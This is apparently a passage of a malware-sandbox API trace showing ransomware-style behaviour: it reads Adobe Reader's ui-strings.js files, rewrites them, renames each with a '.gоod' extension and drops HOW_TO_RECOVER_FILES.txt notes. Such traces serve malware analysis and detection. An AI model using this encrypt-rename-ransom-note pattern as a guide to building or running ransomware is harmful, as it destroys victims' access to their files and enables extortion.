DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0198.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0198.688] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.689] GetFileType (hFile=0x848) returned 0x1 [0198.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0198.689] GetFileType (hFile=0x848) returned 0x1 [0198.689] ReadFile (in: hFile=0x848, lpBuffer=0x36c1df0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x36c1df0*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0198.719] CloseHandle (hObject=0x848) returned 1 [0198.719] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0198.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0198.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.719] GetFileType (hFile=0x848) returned 0x1 [0198.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0198.719] GetFileType (hFile=0x848) returned 0x1 [0198.719] WriteFile (in: hFile=0x848, lpBuffer=0x36c0ae8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x36c0ae8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0198.720] CloseHandle (hObject=0x848) returned 1 [0198.720] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0198.720] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0198.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0198.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x72a9ea69, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c41)) returned 1 [0198.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0198.720] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js.gоod")) returned 1 [0198.721] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0198.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0198.721] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\root\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x848 [0198.722] GetFileType (hFile=0x848) returned 0x1 [0198.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0198.722] GetFileType (hFile=0x848) returned 0x1 [0198.723] WriteFile (in: hFile=0x848, lpBuffer=0x3740a00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3740a00*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0198.723] CloseHandle (hObject=0x848) returned 1 [0198.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0198.724] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru", lpFilePart=0x0) returned 0x6a [0198.724] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0199.762] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.762] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.763] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0199.764] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0199.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0199.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0199.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0199.765] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru", lpFilePart=0x0) returned 0x6a [0199.798] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0199.798] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.798] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.798] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0199.798] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0199.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0199.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0199.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0199.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0199.799] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a4a2b8 | out: lpFileInformation=0x3a4a2b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a8d)) returned 1 [0199.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0199.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0199.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0199.799] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0199.800] GetFileType (hFile=0x7f8) returned 0x1 [0199.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0199.800] GetFileType (hFile=0x7f8) returned 0x1 [0199.800] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0199.800] ReadFile (in: hFile=0x7f8, lpBuffer=0x3a4a7a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3a4a7a0*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0199.802] CloseHandle (hObject=0x7f8) returned 1 [0199.802] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0199.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0199.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0199.802] GetFileType (hFile=0x7f8) returned 0x1 [0199.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0199.802] GetFileType (hFile=0x7f8) returned 0x1 [0199.802] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x2a8d [0199.803] WriteFile (in: hFile=0x7f8, lpBuffer=0x3a4bb10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3a4bb10*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0199.804] CloseHandle (hObject=0x7f8) returned 1 [0199.804] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0199.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0199.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0199.804] GetFileType (hFile=0x7f8) returned 0x1 [0199.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0199.804] GetFileType (hFile=0x7f8) returned 0x1 [0199.804] ReadFile (in: hFile=0x7f8, lpBuffer=0x3a4de98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3a4de98*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0199.838] CloseHandle (hObject=0x7f8) returned 1 [0199.838] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0199.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0199.838] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0199.839] GetFileType (hFile=0x7f8) returned 0x1 [0199.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0199.839] GetFileType (hFile=0x7f8) returned 0x1 [0199.839] WriteFile (in: hFile=0x7f8, lpBuffer=0x3a4cb88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3a4cb88*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0199.839] CloseHandle (hObject=0x7f8) returned 1 [0199.839] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0199.839] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0199.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0199.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7353322c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2a9d)) returned 1 [0199.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0199.839] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js.gоod")) returned 1 [0199.840] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0199.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0199.840] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ru-ru\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0199.841] GetFileType (hFile=0x7f8) returned 0x1 [0199.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0199.841] GetFileType (hFile=0x7f8) returned 0x1 [0199.842] WriteFile (in: hFile=0x7f8, lpBuffer=0x3acc928*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3acc928*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0199.843] CloseHandle (hObject=0x7f8) returned 1 [0199.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0199.844] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk", lpFilePart=0x0) returned 0x6a [0199.844] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 